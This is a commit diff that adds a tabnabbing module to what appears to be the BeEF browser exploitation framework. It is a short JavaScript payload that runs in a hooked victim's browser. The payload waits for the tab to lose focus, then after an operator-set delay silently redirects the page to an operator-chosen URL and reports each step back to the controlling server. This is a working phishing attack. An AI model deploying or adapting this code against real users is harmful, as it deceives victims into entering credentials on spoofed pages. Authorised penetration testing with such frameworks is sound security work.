Added TabNabbing module

modules/browser/tabnapping/command.js

@@ -0,0 +1,38 @@
+//
+//   Copyright 2011 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	var url = "<%= @url %>";
+	var wait = <%= @wait %>*1000*60;
+	var tabnab_timer;
+
+	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');
+
+	// begin countdown when the tab loses focus
+	window.onblur = function() {
+		begin_countdown();
+	}
+
+	// stop countdown if the tab regains focus
+	window.onfocus = function() {
+		clearTimeout(tabnab_timer);
+	}
+
+	begin_countdown = function() {
+		tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);
+	}
+
+});